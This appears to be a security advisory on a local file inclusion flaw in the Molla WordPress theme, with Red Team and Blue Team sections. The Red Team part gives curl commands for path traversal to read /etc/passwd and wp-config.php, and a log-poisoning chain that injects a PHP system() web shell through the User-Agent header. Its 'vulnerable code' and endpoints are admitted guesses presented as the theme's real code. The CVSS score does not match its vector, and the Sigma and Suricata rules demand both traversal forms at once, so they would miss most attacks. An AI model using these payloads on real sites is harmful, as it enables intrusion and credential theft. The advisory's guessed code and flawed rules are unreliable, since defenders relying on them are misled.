CVE-2025-69339

Executive Summary

CVE-2025-69339 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Molla WordPress theme by don-themes. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.

The vulnerability affects all versions of the Molla theme up to and including version 1.5.16. As of this report, no official patch has been released by the vendor. The CVSS score is 8.1 (High), with a network attack vector and no authentication required. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains significant due to the ease of exploitation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, targeting the Molla theme. Since WordPress themes are distributed through official and third-party marketplaces, the supply chain risk is elevated. Users who have installed the Molla theme from any source are potentially affected. There is no known fix or patch available from the vendor, making this a zero-day risk for all users of the affected versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to full disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) issue. In the Molla theme, a parameter (likely page, template, or similar) is passed to a PHP include() or require() function without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Example vulnerable code pattern:

<?php
$page = $_GET['page'];
include($page . '.php');
?>

By sending a request like:

http://target.com/wp-content/themes/molla/template.php?page=../../../../etc/passwd%00

The attacker can include the /etc/passwd file (null byte injection may be required in older PHP versions). In modern PHP, path traversal without null byte is still possible if the extension is not appended.

The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), though in this case it is limited to local files (LFI).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a secure version should look like.

Vulnerable Code (Molla theme <= 1.5.16):

<?php
// Vulnerable: Direct use of user input in include
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
// Secure: Whitelist allowed templates
$allowed_templates = array('home', 'single', 'page', 'archive');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default template
    include( get_template_directory() . '/templates/page.php' );
}
?>

The patched version uses a whitelist approach to ensure only predefined template names can be included, preventing any path traversal or arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with Molla theme version <= 1.5.16.
• Knowledge of the vulnerable parameter (e.g., template, page, file).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   • Common patterns: /wp-content/themes/molla/template.php?template=...
   • Or: /wp-content/themes/molla/page.php?page=...

2. Test for LFI:

   curl "http://target.com/wp-content/themes/molla/template.php?template=../../../../etc/passwd"
   

3. Read sensitive files:

   • WordPress config: ../../../../wp-config.php
   • Apache logs: ../../../../var/log/apache2/access.log
   • PHP source code: ../../../../wp-content/themes/molla/functions.php

4. Attempt to achieve RCE (if log poisoning is possible):

   • Inject PHP code into Apache access log via User-Agent header.
   • Include the log file: ../../../../var/log/apache2/access.log
   • The injected code will be executed.

Example log poisoning:

curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
curl "http://target.com/wp-content/themes/molla/template.php?template=../../../../var/log/apache2/access.log&cmd=id"

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Alert on requests to Molla theme files with suspicious parameters.
• Use WAF rules to block LFI attempts.

Defense:

• Immediately disable or remove the Molla theme if no patch is available.
• Implement a Web Application Firewall (WAF) with LFI rules.
• Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).
• Use PHP open_basedir to limit file inclusion scope.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %2e%2e/ in parameters to Molla theme files.
• Requests to paths like /wp-content/themes/molla/template.php?template=...
• User-Agent strings containing PHP code (e.g., <?php system(...)?>).

File System IOCs:

• Unexpected files in /tmp/ or web-accessible directories.
• Modified .htaccess files with malicious redirects.
• Presence of webshells (e.g., cmd.php, shell.php).

Log IOCs:

• Apache access logs showing LFI patterns.
• PHP error logs with warnings about failed include() calls.

Detection Engineering

YARA Rule

rule CVE_2025_69339_LFI_Molla {
    meta:
        description = "Detects LFI attempts targeting Molla theme CVE-2025-69339"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69339"
    strings:
        $path1 = "/wp-content/themes/molla/"
        $path2 = "template.php"
        $path3 = "page.php"
        $traversal = "../"
        $traversal_enc = "%2e%2e/"
    condition:
        any of ($path*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-69339 Molla Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Molla theme parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '/wp-content/themes/molla/'
            - 'template='
            - 'page='
        cs-uri-query|contains|all:
            - '../'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69339 Molla Theme LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/molla/"; http_uri; content:"../"; http_uri; nocase; content:"%2e%2e/"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Molla theme and switch to a different, patched theme.
2. Implement a WAF rule to block LFI patterns in URI parameters.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that implements proper input validation and whitelisting.
• Until then, users should consider the theme insecure and avoid using it.

Workaround:

• If the theme cannot be disabled, apply a virtual patch via WAF or modify the theme code manually to whitelist allowed template names.

Valters IT
Securing digital frontiers, one CVE at a time.